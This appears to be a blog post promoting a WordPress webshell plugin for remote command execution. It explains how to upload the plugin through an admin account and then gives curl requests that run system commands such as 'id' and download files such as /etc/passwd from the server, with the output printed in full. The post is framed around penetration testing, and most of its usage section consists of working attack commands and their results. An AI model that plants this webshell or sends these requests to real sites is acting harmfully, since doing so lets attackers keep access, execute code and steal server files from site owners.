WordPress webshell plugin for RCE: webshell plugin and interactive shell for pentesting a WordPress website

by do son · June 6, 2022

WordPress webshell plugin for RCE

A webshell plugin and interactive shell for pentesting a WordPress website.

Features

Webshell plugin for WordPress.
Execute system commands via an API with ?action=exec.
Download files from the remote system to your attacking machine with ?action=download.

Usage

Requirements: You need to have the credentials of the admin account of the WordPress website.

Step 1: Upload the webshell plugin

First, login with admin rights on the WordPress website and go to the “Plugins –> Add New” page, at http://127.0.0.1:10080/wordpress/wp-admin/plugin-install.php, and click on “Upload Plugin”:

Upload the plugin, and click on “Activate the plugin“:

Step 2.1: Executing commands

You can now execute commands by sending a GET or POST request to 127.0.0.1:10080/wordpress/wp-content/plugins/wp_webshell/wp_webshell.php with action=exec&cmd=id:

$ curl -X POST ‘127.0.0.1:10080/wordpress/wp-content/plugins/wp_webshell/wp_webshell.php’ –data “action=exec&cmd=id”
{“stdout”:”uid=33(www-data) gid=33(www-data) groups=33(www-data)\n”,”exec”:”id”}

You can also access it by a GET request from a browser:

Step 2.2: Downloading files

You can also download remote files by sending a GET or POST request to 127.0.0.1:10080/wordpress/wp-content/plugins/wp_webshell/wp_webshell.php with action=download&cmd=/etc/passwd:

$ curl -X POST '127.0.0.1:10080/wordpress/wp-content/plugins/wp_webshell/wp_webshell.php' --data "action=download&path=/etc/passwd" -o-

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false